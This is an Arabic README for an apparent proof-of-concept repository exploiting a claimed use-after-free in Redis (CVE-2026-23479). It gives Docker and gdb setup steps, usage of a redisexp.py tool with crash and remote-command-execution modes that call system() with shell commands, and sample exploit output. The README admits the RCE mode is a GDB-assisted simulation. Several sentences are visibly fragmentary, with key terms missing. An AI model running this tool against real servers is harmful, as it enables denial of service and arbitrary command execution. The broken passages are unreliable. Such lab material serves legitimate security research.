
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط)
Use-After-Free في Redis
unblockClientOnKey()يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي / المختبري فقط)
CVE-2026-23479 هي ثغرة Use-After-Free (UAF) حرجة في إصدارات Redis من 7.2.0 حتى 8.6.2.
تقع الثغرة في unblockClientOnKey() التي تستدعي .
إذا تم تحرير العميل أثناء تلك المكالمة (مثلاً بسبب الإخلاء)، يستمر المتصل في التعامل مع مؤشر معلّق → .
يمكن للمهاجم الذي يستطيع تشكيل الكومة بعد التحرير تحقيق .
processCommandAndResetClient()يوفّر هذا المستودع PoC بمساعدة GDB يقوم بـ:
freeClient())system() في النقطة نفسها⚠️ مهم: هذا ليس استغلالاً حقيقياً. يستخدم GDB داخل حاوية Docker بصلاحيات مميزة لمحاكاة ما يمكن أن يحققه المهاجم الحقيقي بعد استغلال UAF بنجاح.
استخدمه فقط في مختبرك الخاص أو على أنظمة لديك إذن صريح لاختبارها.
crash, gdb, rce, full--containerXREAD BLOCK يجعل العميل ينتظر بيانات الدفق.pid 1) داخل الحاوية.processCommandAndResetClient – وهي الدالة التي تُستدعى عندما يُعاد معالجة العميل المحجوب.XADD على نفس الدفق يوقظ الضحية.gdb: يستدعي freeClient($rdi) → يتسبب عمداً في SIGSEGV → يثبت UAF.rce: يستدعي system("your command") → ينفّذ أوامر شل تعسفية باسم مستخدم Redis (root افتراضياً).تُطلق نقطة التوقف في كل مرة يتم فيها فك حظر عميل محجوب، مما يُظهر أن مسار الكود نفسه الذي يحتوي على UAF يسمح أيضاً بتنفيذ كود.
| الفرع | النطاق المتأثر |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
يقوم السكربت بتحليل إصدار Redis تلقائياً ويُبلّغ عما إذا كان معرّضاً للثغرة.
apt (مثل الصورة الرسمية redis:8.6.2)--privileged (مطلوب لـ ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| الوضع | الوصف |
|---|---|
crash | محاولة تحفيز UAF عبر الضغط على الذاكرة (بدون الحاجة إلى GDB). قد ينهار Redis، لكن الأمر غير مضمون. |
gdb | إرفاق GDB واستدعاء freeClient() عند نقطة التوقف → يفرض SIGSEGV (يثبت UAF). |
rce | إرفاق GDB واستدعاء system(cmd) عند نقطة التوقف → ينفّذ أمر شل داخل الحاوية. |
full | تشغيل crash أولاً؛ إذا لم ينهار Redis، فسيتم الرجوع إلى gdb. |
| الوسيط | الافتراضي | الوصف |
|---|---|---|
target | (مطلوب) | عنوان IP لخادم Redis |
-p, --port | 6379 | منفذ Redis |
-m, --mode | full | أحد الأوضاع: crash, gdb, rce, full |
--container | env-redis-vuln-1 | اسم حاوية Docker |
--cmd | id > /tmp/pwned_by_cve | الأمر الذي سيتم تنفيذه في وضع rce |
ملاحظة: يتم تنفيذ جميع الأوامر من الجهاز المضيف، وليس داخل حاوية Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
سينهار Redis بعد خطأ التجزئة.
أعد تشغيل الحاوية:
docker start redis-vuln-local
أعد تشغيل Redis لضمان حالة نظيفة:
docker restart redis-vuln-local
شغّل الأداة:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
تحقق من ملف الإثبات:
docker exec redis-vuln-local ls -l /tmp/pwned
في حال نجاح التنفيذ، سيكون الملف موجوداً، مما يثبت أنه تم تنفيذ:
system("touch /tmp/pwned");
داخل حاوية Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
إذا خرج Redis بشكل غير متوقع (لم تعد الحاوية قيد التشغيل)، فمن المرجح أن UAF قد تم تحفيزها.
أعد تشغيله باستخدام:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
يعمل هذا الوضع على النحو التالي:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
كان الـ PoC الأصلي مربوطاً بشكل ثابت بحاوية باسم env-redis-vuln-1 ويحتوي على عدة مشاكل عند تنفيذه مع إصدارات أحدث من Python.
النسخة المحدّثة تقدّم التحسينات التالية:
| المشكلة | الإصلاح |
|---|---|
| اسم الحاوية الثابت | تمت إضافة الوسيط --container ونشره عبر جميع الدوال. |
أمر file كان موضوعاً داخل كتلة commands في سكربت GDB | تم نقل file /usr/local/bin/redis-server قبل attach حتى يقوم GDB بتحميل الرموز بشكل صحيح. |
استخدام subprocess.run() مع كل من capture_output=True و stderr=... | تم الاستبدال بـ stdout=subprocess.DEVNULL و stderr=subprocess.DEVNULL. |
عمليات GDB القديمة تسبب ptrace: Operation not permitted | تمت إضافة pkill -9 gdb قبل تشغيل GDB في كل من trigger_uaf_gdb() و trigger_rce(). |
| لا توجد تغذية راجعة عند فشل GDB بصمت | تمت إضافة تسجيل تصحيحات (debug logging) لمخرجات GDB وتحسين كشف ملف الإثبات. |
docker stop redis-vuln-local
docker rm redis-vuln-local
هذه الأداة مخصّصة حصراً للأغراض التعليمية، والبحث الأمني المصرّح به، واختبار الأنظمة التي تملكها أو لديك إذن صريح بتقييمها.
لا يقرّ المؤلف ولا يشجّع الاستخدام غير المصرّح به أو الضار.
احصل دائماً على التصريح المناسب قبل اختبار أي نظام إنتاجي أو تابع لجهة خارجية.
صُنع بكل ❤️ لمجتمع الأمن السيبراني.
ابقَ أخلاقياً. ابقَ آمناً.